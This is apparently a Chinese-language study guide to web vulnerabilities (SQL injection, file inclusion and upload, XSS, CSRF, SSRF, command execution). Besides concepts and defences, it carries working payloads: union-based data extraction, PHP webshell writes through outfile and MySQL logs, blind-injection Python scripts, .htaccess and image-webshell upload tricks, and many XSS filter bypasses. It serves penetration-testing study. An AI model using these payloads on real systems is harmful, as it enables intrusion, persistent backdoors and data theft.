Web常见漏洞

参考:https://www.yuque.com/weiker/xiaodi/xydntt

(sql) 注入

概念

可控变量,带入数据库查询,变量未存在过滤或过滤不严谨
注入产生的原因是接受相关参数未经过滤(黑名单、白名单、编码、加密等)直接带入数据库查询操作。
SQL 注入:服务器端未严格校验客户端发送的数据,而导致服务端 SQL 语句被恶意修改并成功执行

常见的 sql 注入产生原因

SQL 注入的产生原因通常表现在以下几方面:
①转义字符处理不合适;
②不安全的数据库配置;
③不合理的查询集处理;
④不当的错误处理;
⑤多个提交处理不当。

参数提交注入基本流程

靶场:pikachu、sqli-labs

判断数据库类型

  1. access
  2. mysql
  3. mssql
  4. oracle
  5. postsql
  6. sqlite
  7. mongodb

判断提交方法

  1. get
  2. post
  3. cookie
  4. request
  5. http 头

判断注入参数数据类型

  1. 数字型
  2. 字符型
  3. 搜索型
    本质都是背后的 sql 语句。

判断对应 sql 语句的构造

  1. select
  2. insert
  3. delete
  4. update

判断是否有回显

  1. 回显注入
    联合注入
    order by
    union select
  2. 无回显注入
    报错注入
    (1)xpath 语法错误
    updatexml()
    extractvalue()
    (2)其他
    floor ()
    exp()
  3. 盲注
    布尔盲注
    时间盲注
  4. 其他注入
    (1)加解密注入
    (2)json 注入
    (3)dnslog 注入
    (4)二次注入
    在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑 SQL 中,所以就形成了二次注入。
    (5)堆叠注入
    多条 sql 语句同时执行
    叠注入可能不一定能一下子看出来(比如不显示第一条之后的语句的查询结果),如果不是明确知道能堆叠注入,或许可以尝试写入一些东西,再通过一些方法(比如 select 能不能读到写入的东西)来判断。
    (6)宽字节注入
    如果服务器传入数据库的数据是 gbk 等宽字节编码,可以在特殊字符之前增加一个十六进制字节,和转义符构成一个汉字字符,从而把转义符吃掉。

黑名单绕过简单思路

  1. 双写绕过(未循环过滤)
  2. 大小写绕过
  3. 空格绕过
    (1)空白符绕过
    (2)多行注释 /**/ 绕过
    (3)括号绕过
    (4)换行符 %0a
  4. http 参数污染(利用服务器截取变量和黑名单过滤的差异性绕过)

waf 绕过简单思路

  1. 更改提交方法
  2. 大小写混合
  3. 解密、编码
  4. 注释符混用 /**/
  5. 函数替换
  6. 特殊符号混用
  7. 数据库特性
  8. http 参数污染
  9. 垃圾数据溢出

mysql 注入

判断是否存在注入点

  1. 逻辑判断
    and 1 = 1 页面正常
    and 1 = 2 页面异常
    则可能存在注入点
  2. 输入的 SQL 语句是否能报错 (能通过数据库报错,看到数据库一些语句痕迹)(select username,password from user where id = ?’ ) 后面单引号或者双引号
    通过在 URL 中修改对应的 id 值,值为正常数字、大数字、字符 (单引号、双引号、双单引号、括号)、反斜杠 \ 来探测 URL 中是否存在注入点
  3. 输入的 SQL 语句能否不报错 (我们的语句能够成功闭合) (select username,password from user where id = ‘?’ #‘limite 0,1’)

信息收集

  1. 数据库版本:version ()
  2. 数据库名字:database ()
  3. 数据库用户:user ()
  4. 操作系统:@@version_compile_os
  5. 数据库路径::@@datadir
  6. 字符串连接函数
    (1)concat (str1,str2,…)------- 没有分隔符的连接字符串
    (2)concat_ws (separator,str1,str2,…)----- 含有分隔符的连接字符串
    (3)group_concat (str1,str2,…)------ 连接一个组的所有字符串,并以逗号分隔每一条数据

数据注入

  • 高版本注入
  1. 在 mysql5.0 以后的版本存在一个 information_schema 数据库、里面存储记录数据库名、表名、列名的数据库,相当于可以通过 information_schema 这个数据库获取到数据库下面的表名和列名。
    (1)information_schema.tables #information_schema 下面的所有表名
    (2)information_schema.columns #information_schema 下面所有的列名
    (3)table_name # 表名
    (4)column_name # 列名
    (5)table_schema # 数据库名
  2. information_schema
    information_schema 用于存储数据库元数据 (关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
    (1)schemata 表
    当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据
    获取数据库名称

    (2)tables 表
    存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。
    (3)columns 表
    存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。
    (4)user_privileges 表
    用户权限表。内容源自 mysql.user 授权表。是非标准表。
  • 低版本注入
  1. 联合查询

高权限注入

  1. 常规查询
    可以获取数据注入中的各种信息。
  2. 跨库查询
    数据库 A = 网站 A = 数据库用户 A ——> 表名 ——> 列名 ——> 数据
    数据库 B = 网站 B = 数据库用户 B ——> 表名 ——> 列名 ——> 数据
    数据库 C = 网站 C = 数据库用户 C ——> 表名 ——> 列名 ——> 数据
    (1)查看当前用户(权限是否足够)
    跨库查询的前提条件是必须高权限的用户才能执行跨库查询
    联合注入举例
    ?id=-1%20union%20select%201,user (),3
    (2)获取所有数据库名
    union select 1,group_concat (schema_name),3 from information_schema.schemata
    等同于数据库中
1
2
use security;
SELECT * FROM users WHERE id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata LIMIT 0,1;

(3)获取指定数据库的表名信息
union select 1,group_concat (table_name),3 from information_schema.tables where table_schema=‘book’
(4)获取指定数据库的指定表名信息
union select 1,group_concat (column_name),3 from information_schema.columns where table_name=‘book’ and table_schema=‘book’

SQL 注入防护

  1. 魔术引号开关
    魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL 加上一个一个反斜线进行转义,这个的作用跟 addslashes () 的作用完全相同。
    PHP5.4.0 及其之后 PHP 版本中被取消了
    (1) 可移植性
    编程时认为其打开或并闭都会影响到移植性。可以用 get_magic_quotes_gpc () 来检查是否打开,并据此编程。

(2)性能
由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。在运行时调用转义函数(如 addslashes ())更有效率。 尽管 php.ini-dist 默认打开了这个选项,但是 php.ini-recommended 默认却关闭了它,主要是出于性能的考虑。

(3)方便
由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 '。针对这个问题,可以使用 stripslashes () 函数处理。

绕过:采用 hex (16 进制) 编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。

  1. 一些内置函数对传参进行了处理
    比如 int 函数、参数大小限制等

  2. 黑名单过滤
    对一些关键字 select 等做了处理,比如替换、编码、转换等或者直接禁止输入。

  3. 采取预编译参数化查询先占位

  4. 采取 waf 防护

预编译先占位原理

新项目通常使用参数绑定的方式来处理 SQL 语句,如 PHP 的 PDO,Java 的 PreparedStatement,或使用一些诸如 Spring Data JPA、Hibernate、Mybatis 的 ORM 框架。通俗的讲,预编译防止 SQL 注入的原理是提前编译 SQL 语句,将所有的用户输入都当做『数据』,而非『语法』。
PDO 针对预编译提供了两种模式:本地预编译和模拟预编译。

  1. 模拟预编译是一种假的预编译。
    在原生 SQL 中相当于将参数?手动占位后再进行传参。
    在 orm 框架中相当于使用 ${} 而不是 #{}
    即由 PreparedStatement 亲自将 SQL 语句转义为无危害的语句后,直接交由数据库执行。
  • 在 PHP 5.3.6 之前,PDO 存在宽字节注入的问题
  • java 使用真正的预编译,必须在连接数据库时加上 useServerPrepStmts=true
  1. 预编译 QL 语句执行原理
    (1)接收带有预编译占位符?的 SQL 语句
    (2)解析生成语法树,并且缓存在 cache 中
    (3)接收参数信息,从 cache 中取出语法树设置参数
    (4)进行优化和执行

  2. 预编译关注点
    (1)白盒审计中 PDO、PreparedStatement 中开发者直接拼接 SQL 语句的行为,很多开发者以为使用了安全的类库就保证了安全,殊不知错误的用法仍会导致漏洞。
    (2)白盒审计中 ORDER BY 后的表名动态传入的 SQL 语句;渗透测试中允许用户传入按某个字段进行排序的行为,这很有可能是直接拼接的。
    (3)白盒审计中 ORDER BY 后排序方式 (ASC/DESC) 动态传入的 SQL 语句;渗透测试中允许用户选择正序倒序排列的行为,需要抓包查看是否直接传入 ASC/DESC,若是则很有可能存在拼接行为。
    (4)白盒审计中模糊查询是否拼接;渗透测试中针对搜索行为进行 SQL 注入测试。
    (5)白盒审计中 IN 语句后是否拼接。

提权,种植后门

  1. 通过 outfile 写入 shell
    要求:
    (1)root 权限
    (2)网站的绝对路径且具有写入权限,能够使用 into outfile 和 into dumpfile 来进行写入。
1
union select 1,"<?php eval($_REQUEST[8])?>" into outfile 'C:/phpStudy/WWW/4448.php'
  1. 将 shell 写入表中
    要求:
    (1)root 权限
    (2)网站的绝对路径且具有写入权限
    1)先运行,在表中插入 webshell
1
http://afsgr16-b1ferw.aqlab.cn/?id=1 union select 1,insert into 'sxss'('comment') values ('<?php  @eval($_POST[1]);?>');

2)查询该数据表,将结果导出文件

1
select comment from sxss into outfile 'C:/phpStudy/WWW/4449.php';
  1. 开启全局日志写入 shell
    要求:
    (1)root 权限
    (2)网站的绝对路径且具有写入权限
    1)查看全局日志配置
1
show variables like '%general%';

2)开启全局配置

1
set global general_log = on;

3)将日志文件设置成服务器下的木马文件

1
set global general_log_file = 'C:/phpStudy/WWW/4449.php'

4)然后执行 sql 语句,mysql 会将没执行的语句记录到日志文件 (4449.php) 中

1
select '<?php  @eval($_POST[1]);?>';
  1. 慢查询日志写入 shell
    在实际写 webshell 的时候,我们经常会遭受到 secure_file_priv 的阻拦,secure_file_priv 这个配置参数用来限制 load data、outfile、load_file () 的使用,其参数值有以下三种:

(1)NULL:表示不允许导入导出

(2)目录地址,如 /tmp/:表示只能对指定目录进行导入导出,如 /tmp/

(3)空,即没有具体值:表示不对导入导出做限制

1
show global variables like '%secure%';

可以使用慢查询日志绕过此限制
要求:
(1)root 权限
(2)网站的绝对路径且具有写入权限执行如下语句写入 shell
1)查看慢查询日志开启情况

1
show variables like '%slow_query_log%';

2)开启慢查询日志

1
set global slow_query_log=1;

3)修改日志文件存储的绝对路径

1
set global slow_query_log_file='C:/phpStudy/WWW/4449.php';

4)向日志文件中写入 shell

1
select '<?php @eval($_POST[1]);?>' or sleep(11);

黑盒挖掘思路

  1. 找到注入点,和数据库交互的地方。
    分析每一个具体的地方对应的 sql 语句,无非就算增删改查。
  2. 判断有无回显。
    (1)有回显考虑联合注入。
    (2)无回显考虑报错注入、布尔盲注和时间盲注。
  3. 有回显情况,推测后端 sql 语句部分代码,尝试闭合或者使用 and 和 or 进行逻辑判断查看回显内容。
    例如:
    select * from table where name=‘a’ a = admin’

(1)加单引号:select * from table where name=‘admin’’;由于加单引号后变成三个单引号,则无法执行,程序会报错。

(2)加 ’ and 1=1 此时 sql 语句为:select * from table where name=‘admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;因此,构造语句为:select * from table where name =‘admin’ and 1=1–’ 可成功执行返回结果正确。

(3)加 and 1=2-- 此时 sql 语句为:select * from table where name=‘admin’ and 1=2–-' 则会报错。
4. 无回显,先尝试输入一些特殊符号看它是否会报错(有报错信息尝试闭合后考虑报错注入),否则使用脚本判断盲注或者手动判断布尔盲注。
** 布尔盲注判断有时候肉眼看页面无差别,但是源代码会有区别。可以查看源代码 **
(1)布尔盲注脚本示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1. #coding:utf-8  
import requests
#获取数据库名长度
def database_len():
for i in range(1, 10):
url = '''http://139.224.112.182:8087/sqli1/Less-5/'''
payload = '''?id=1' and length(database())=%d''' %i
r = requests.get(url + payload + '%23') # %23 <==> --+
if 'You are in' in r.text:
print('database_length:', i)
break
else:
print(i)

database_len()

(2)时间盲注示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding:utf-8  
import requests
import datetime
#获取数据库名长度
def database_len():
for i in range(1, 10):
url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
payload = '''?id=1' and if(length(database())=%d,sleep(3),1)--+''' %i
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
print('database_len:', i)
break
else:
print(i)
database_len()
  1. 确定相应注入考虑绕过。
  2. 种植后门,写入 webshell。
1
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,'<?php assert($_POST[less4]);?>' into outfile 'C:/less4.php'--+
1
http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

白盒挖掘思路

代码审计(php、python、Java)

  1. 找到注入点,和数据库交互的地方。
    找到对应 sql 语句,分析参数是如何传参的。是否有预编译、编码、过滤等操作,以判断是否有注入可能。
  2. 过滤、编码操作,具体分析对应函数,是黑名单过滤还是白名单验证或者是转义,转义一般不考虑,黑名单过滤不全还可以考虑一波。
  3. 预编译使用是否规范。
  4. 如果 sql 语句使用很多,细心观察对每个参数的处理是否都是完整的,有可能会直接从 ccokie、session 或者其他地方直接获取,忘记做了处理。

文件包含

概念

开发者在使用文件包含函数时没有对用户输入的文件进行过滤,使得敏感信息泄露,或者结合文件上传、解析漏洞或者日志文件可以获取服务器 shell。

  1. 本地文件包含
    主要是获取本地服务器的资源文件。
  2. 远程文件包含
    可以包含其他服务器的文件,这时候只要包含一个 shell 文件,即可轻松创建后门。

php 文件包含函数

  1. include
    在包含过程中出错会报错,不影响执行后续语句
  2. include_once
    仅包含一次
  3. require
    在包含过程中出错,就会直接退出,不执行后续语句
  4. require_once
    仅包含一次
  5. highlight_file()
    函数对文件进行语法高亮显示,同样也可以使文件输出
  6. show_source()
    是 higlight_file () 的别名
  7. file_get_contents()
    把整个文件读入一个字符串中
  8. fopen_file()
    打开文件

绕过

  1. 双写绕过
    str_replace 不安全
  2. url 编码绕过
  3. 特殊字符绕过
    unicode 欺骗
  4. %00 截断(magic_quotes_gpc 关闭,而且 php 版本小于 5.3.4)
    (1)https://mp.csdn.net/upfiles/?filename=test.php.txt 绕过了后缀限制
    (2)0X00 截断(0x 开头表示 16 进制,0 在十六进制中是 00, 0x00 就是 %00 解码成的 16 进制)
  5. 文件路径长度截断
    超过系统中的最长文件路径

利用

php 伪协议结合绕过可以利用

1
2
3
4
5
6
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)

黑盒挖掘思路

文件下载

文件上传

概念

  1. 什么是文件上传漏洞
    上传图片、附件等地方,没有对文件格式进行严格过滤或者代码逻辑不严谨,导致攻击者可以上传一句话获取想要的资源,或者直接控制网站。

验证和绕过

前端

一切在前端的验证都是不安全的,禁用 js 即可绕过,或者抓包修改也 OK。

后端

  1. 黑名单
    (1)验证 MIME
    content-type
    (2)后缀名过滤不严谨
    phtml、php3、php4、php5
    (3)上传配置文件
    .htaccess
1
2
3
<FilesMatch "123.png">
SetHandler application/x-httpd-php
</FilesMatch>

要求:Httpd.conf (AllowOverride all)
(4)对文件名后缀处理不完全
.php. . —>.php.
.php 空
.php.
pphphp
(5)大小写未作处理
PHP
(6)利用 windows 特性
::$DATA 之后的数据当成文件流处理,不会检测后缀名,且保持前面的文件名。

  1. 白名单
    (1)截断
    magic_quotes_gpc (对特殊字符进行转义处理)
    %00(php<5.3.4)
    原理:php 的一些底层函数是 c,遇到 0x00(16 进制截断),URL 编码为(%00),解码就算 0x00
    ** get 截断会 url 自动解码,post 不会自动解码,需要先在截断位置添加特殊字符以便于找到对应位置后在 hex 中修改 **
    (2)图片马 + 文件包含 / 解析漏洞
    png (8 字节):89 50 4E 47 0D 0A 1A 0A(.PNG)
    jpg (2 字节):FF D8
    gif (6 字节):47 49 46 38 39/37 61(GIF89 (7) a)
    图片马 cmd 制作:
1
copy 1.png/b + 2.php pass 3.png
1
copy 1.png/b + 2.php/a 3.png
  1. 其他
    (1)二次渲染
    上传图片马会对图片马重写,导致 webshell 丢失。
    绕过:用 Hex 打开前后上传的图片马,分析哪个地方没改变,可以在对应的地方加入 webshell
    (2)条件竞争
    是由于二次渲染代码逻辑漏洞,二次渲染本身没问题。
    代码逻辑是先让文件上传到服务器,未严格过滤,在上传之后才对文件进行删除或者重写操作。在这段时间内,如果我们尝试访问该文件,抢占系统资源,可以使得二次对文件的操作失败,竞争成功。
    文件可以是:php 或者图片马 + 文件包含 / 解析漏洞

WAF 绕过

黑盒挖掘思路

  1. 查看有无对应中间件解析漏洞
    中间件常用解析漏洞
    (1) IIS
    (2) Niginx
    配置文件
    空字节任意代码
    文件名逻辑
    配置错误(crlf 注入、目录穿越、目录遍历、ad_header 被覆盖)
    (3)Tomcat
    任意代码写入
    远程代码执行
    弱口令 && 后台 getshell
    manager app 暴力破解

  2. 查看对应 CMS 有无文件上传漏洞

  3. 编辑器漏洞
    (1)fckeefiter
    (2)ewebediter
    (3)ckeditor
    (4)kindeditor

  4. 找到对应文件上传点进行黑名单、白名单、其他、WAF 绕过

  5. CVE 相关上传漏洞

中间件 - 文件上传点 - 绕过

CMS - 文件上传点 - 绕过

编辑器 - 文件上传点 - 绕过(poc 利用)

白盒挖掘思路

代码审计(php、java)

xss

概念

XSS 是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成 XSS 漏洞的主要原因是程序对输入和输出没有做合适的处理,导致 “精心构造” 的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

分类

  1. 反射性 XSS
    前端–> 后端–> 前端
    需要用户将构造的 url 发送给用户才可出发。
    危害可能单点利用可能较小,需要精心构造 url 或者结合其他漏洞一起使用。
    通常用于获取用户信息,主要是信息收集,如果能获取 cookie 结合其他漏洞比如 csrf 等。
  • svg 类型 xss
    SVG (Scalable Vector Graphics) 是一种基于 XML 的二维矢量图格式,和我们平常用的 jpg/png 等图片格式所不同的是 SVG 图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开 SVG 图片并且编辑它,目前主流的浏览器都已经支持 SVG 图片的渲染。
1
2
3
4
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script>alert(1)</script>
</svg>
  • PDF 类型 xss
    1、创建 PDF,加入动作 JS
    2、通过文件上传获取直链
    3、直链地址访问后被触发

  • flash 类型 xss
    1、制作 swf-xss 文件

1
2
3
4
5
6
7
8
9
1、新建swf文件
2、F9进入代码区域
3、属性发布设置解析
//取m参数
var m=_root.m;
//调用html中Javascript中的m参数值
flash.external.ExternalInterface.call(m);
触发:?m=alert(/xss/)
相关工具:Adobe Flash Professional CS6

2、测试 swf 文件是否存在 xss 漏洞

1
2
3
4
5
1、反编译swf文件
2、查找触发危险函数
3、找可控参数访问触发
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
项目:JPEXS Free Flash Decompiler
1
博客园链接编译实体化不会造成反射型XSS弹窗显示,但是将博客园链接放到qq客户端浏览器预览功能上,成功造成反射型XSS,这个页面对原网页内容进行提取和处理的过程中,将原本无害的XSS Payload进行了转码操作,于是导致了Payload 变异而产生了XSS
1
实际上,页面预览这个功能不是针对所有网址都可以预览,对于一些大型的网站,估计是有白名单机制或者是认证的网站,才能进行预览,随便一个网址是不可以的,这本身也是一种信任的限制在里面,如果是随意的网站,那就更好控制内容了,所以对于域名是有限制的;这里也存在一个信任的问题,理论上,这些大站的内容应该是没问题的,但实际情况是可被控制而导致产生XSS
  • UXSS
    UXSS 全称 Universal Cross-Site Scripting,翻译过来就是通用型 XSS,也叫 Universal XSS。UXSS 是一种利用浏览器或者浏览器扩展漏洞来制造产生 XSS 的条件并执行代码的一种攻击类型。UXSS 可以理解为 Bypass 同源策略。
1
同源策略:不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源

比如使用某些浏览器翻译功能或者使用其他 插件。

  1. 存储型 XSS
    前端–> 后端–> 数据库–> 前端
    攻击者将构造好的 js 语句放入和数据库交互的地方,并且永久存入数据库。当其他用户访问的时候会从数据库中取出代码,进而进行触发。
    危害较大,用户很容易触发该漏洞。可以收集大量用户信息,并且随着 js 语句的丰富可能触发 xss 蠕虫。

  2. DOM 型 XSS
    不经过服务器,前端 js 代码的利用。(感觉是直接对 dom 树进行了操作,改变了 dom 树结构,在解析时能触发对应代码)
    在使用 dom 方法的地方比如进行 dom 属性的操作(innerHTML、outerHTML、document.write)如果不进行过滤转义防护,就会产生 dom 型 xss。
    dom 型的 xss 不经过服务器,waf 的防护没有作用。所以需要对标签进行 html 实体编码处理,或者替换成 innerText,它自动将 HTML 标签解析为普通文本。使用框架时尽量使用框架自带的安全函数。

浏览器解析步骤

HTML

  1. 三种状态可解码
  • 数据状态(Data State)
  • RCDATA 状态(RCRATA State)
  • 属性值状态(Attribute Value State)
  1. 特性规则
    (1)原始文本元素(Raw text elements)不会被 html 解码
  • html 解析器识别的状态:Script Data State
  • <script>、<style>
    (2)RCDATA 会被解码,不会被解析
  • html 解析器识别的状态:Data State
  • <textarea>、<title>
    (3)外部元素,会被 html 解码和解析
  • html 解析器识别的状态:可以转变为 Tag Open State
  1. 解析
    (1)状态机
    Data State 接收 <
    Tag Open State 接收 a-z
    Tag Name State 接收 >
    Data State
    (2)解析
    状态要求为:Tag Open State,并且转换成 DOM 节点

JavaScript

  1. 三种环境可被解码
    (1)字符串中
    (2)标识符中
    (3)控制字符中(’、"、())
    解码后不可被解析为控制字符导致解析失败

URL

协议、伪协议、: 不可被解码

解析顺序

一般是 HTML–JavaScript–URL
Js 和 URL 的解析顺序可随 URL 的位置变化,比如 href 属性

常见标签构造 payload

  1. <scirpt>
1
<scirpt>alert("xss");</script>
  1. <img>
1
<img src=1 onerror=alert("xss");>
  1. <input>
1
<input onfocus="alert('xss');">
1
2
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
1
2
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
1
2
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
  1. <details>
1
<details ontoggle="alert('xss');">
1
2
使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">

过滤和绕过

  1. 过滤空格
    用 / 代替空格
  2. 过滤关键字
  • 大小写绕过
  • 双写
  • 字符拼接
    (1)利用 eval
1
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

(2)利用 top

1
<script>top["al"+"ert"](`xss`);</script>
  1. 其他字符混淆
    有的 waf 可能是用正则表达式去检测是否有 xss 攻击,如果我们能 fuzz 出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
1
2
3
4
可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
  1. 编码
  • unicode 编码(js)
1
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
  • url 编码绕过
1
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
  • Ascii 码绕过
1
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
  • hex 绕过
1
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
  • 八进制
1
<img src=x onerror=alert('\170\163\163')>
  • base64
1
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
  1. 过滤双引号,单引号
  • 如果是 html 标签中,我们可以不用引号。如果是在 js 中,我们可以用反引号代替单双引号
  • 使用编码绕过
  1. 过滤括号
  • 使用 throw 来绕过

黑盒挖掘思路

  1. 探测输出点
    确定单点输出、多点输出,多输出点多机会,可以从其他输出点做文章。
  2. 根据 HTML 结构构造 payload
    明确输出点的位置在 HTML 标签文本内、标签属性中、标签事件中、 <script> 标签内、function 函数变量中
  • 闭合标签
  • 使弹框语句执行
  • 处理后面字符
  1. 检测过滤和绕过
    可以通过 intruder 模块对于各种关键字进行 fuzzing 测试,确定后端的过滤机制,然后对于不同的过滤采取不同的绕过手段,但前提是要根据浏览器的解析和解码原理针对性地进行构造。

csrf

概念

用户登录一个网站后,浏览器会保存相应的 cookie 信息。用户在没有登出网站的情况下,用同一个浏览器打开攻击者构造的页面,浏览器会自动携带用户 cookie,使得用户信息自动更改。

相关信息

  1. get 型 poc
1
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
  1. post 型 poc
1
2
3
4
<form action=http://wooyun.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script>
  1. json 型 poc
    如果服务端没有校验 Content-Type,或者没有严格校验 Content-Type 是否为 application/json,我们可以使用 XHR 来实现 csrf。但是呢,可能会受到同源策略影响,导致无法携带 cookie。
    XMLHttpRequest、fetch 能构造出 JSON 请求,并且能设置 Content-Type,但是无法跨域。Flash 的跨域与 307 跳转来绕过 http 自定义头限制。但是 flash 大部分浏览器做了修复,并且会询问用户是否打开 flash。

防御方案

1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
将 token 从后端发送到前端(form 表单加个 hidden 属性的 input 标签来存放),在发包给后端加上 token 进行验证。
3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)但是也不是很安全,可以抓包进行修改。
4、设置验证码
5、限制请求方式只能为 POST

黑盒挖掘思路

  1. 抓包观察有没有 token 之类的验证。有的话大概率可以放弃,绕过比较困难,没有的话继续下面步骤。
  2. 针对 referer,删除或者将网址更改,看能不能正常提交数据。如果对该参数进行了验证可以抓包修改参数值进行绕过。
  3. 提交数据成功,说明 referer 未验证,可以是由 burp 生成 poc 尝试。
  4. post 型大部分通常会存在同源策略的限制,这时候需要利用其他漏洞:比如 xss 获取当前用户凭证进行攻击。

ssrf

概念

服务器提供了可以从其他服务器获取数据的功能,但是对用户输入的目标地址没有过滤或者防护不全,导致攻击者可以通过本台服务器利用该台服务器的请求发送敏感数据包,进而获取内网资产信息。

利用

  1. 对内网、外网、本地进行端口扫描。
  2. 对内网 Web 应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹。
  3. 使用 file:/// 协议读取本地文件 (或其他协议)(利用 php 伪协议)

防护

  1. 在 URL 中过滤掉内网 IP,不对外显示。
  2. 过滤掉危险协议,对返回内容和报错信息做处理,避免泄露敏感信息。
  3. 对内部访问做二次认证,增强鉴权。

黑盒挖掘思路

  1. 从 web 功能点寻找
    主要是和可控 url 相关的功能。
    (1)分享:通过 URL 地址分享网页内容。
    (2)在线翻译
    (3)通过 URL 进行图片加载和下载。
  2. 通过 URL 关键字
    主要是 url 中参数会携带访问其他网址的参数,对这些常见的参数要留意进行测试。
    share
    url
    link
    src
    source
    target
  3. 测试判断
    通过对上面两种方法怀疑存在可能的 url 参数点进行探测,可以直接输入内网网址、本地网址、或者外网看看情况,也可以进行一些尝试绕过。
  4. 如果存在未过滤可以进行访问的情况,尝试利用,读取本地文件,探测本地文件端口信息等。

(RCE)代码执行和命令执行

概念

攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统或者获取敏感信息。

远程命令执行

  1. 概念。
    应用系统从设计上需要给用户提供指定的远程命令操作的接口。常见的路由器、防火墙、入侵检测等设备的 web 管理界面上。一般会给用户提供一个 ping 操作的 web 界面,用户从 web 界面输入目标 IP,提交后,后台会对该 IP 地址进行一次 ping 测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交 “意想不到” 的命令,从而让后台进行执行,从而控制整个后台服务器。

  2. php 命令执行函数

1
2
3
4
5
6
7
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
  1. windows 系统命令拼接方式
1
2
3
4
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B

远程代码执行

  1. 概念
    把用户的输入作为代码的一部分进行执行。

  2. php 代码执行函数

1
2
3
4
5
6
7
8
9
eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter()
uasort()

防御

  1. 敏感函数禁用
  2. 变量过滤或者使用白名单
  3. WAF

黑盒挖掘思路

远程代码执行

  1. 判断可执行脚本语言。
    php、Java、python…
  2. 分析可产生代码执行的地方。(主要是利用信息收集 cms 和中间件以及开发环境爆出的 nday)
    先分析输入点是否有需要利用自身代码的情况,没有的话可以不必考虑。
    (1)代码不严谨。
    可以借助前面信息收集 cms(thinkphp、wordpress),可以弄到源码进行审计危险函数使用。
    (2)中间件
    Tomcat
    apache struts2
    Redis

远程命令执行

  1. 判断操作系统
    linux(严格区分大小写)、windows
  2. 分析可产生命令执行的地方。(主要是利用信息收集 cms 和中间件以及开发环境爆出的 nday)
    (1)代码不严谨。
    可以借助前面信息收集插件、建站工具(Nexus、Webmin),可以弄到源码进行审计危险函数使用。
    (2)中间件
    Weblogic
    Apache

(php)反序列化

(java)反序列化

xxe

(JWT)安全及预编译(CASE)注入

(java)目录遍历

访问量 访客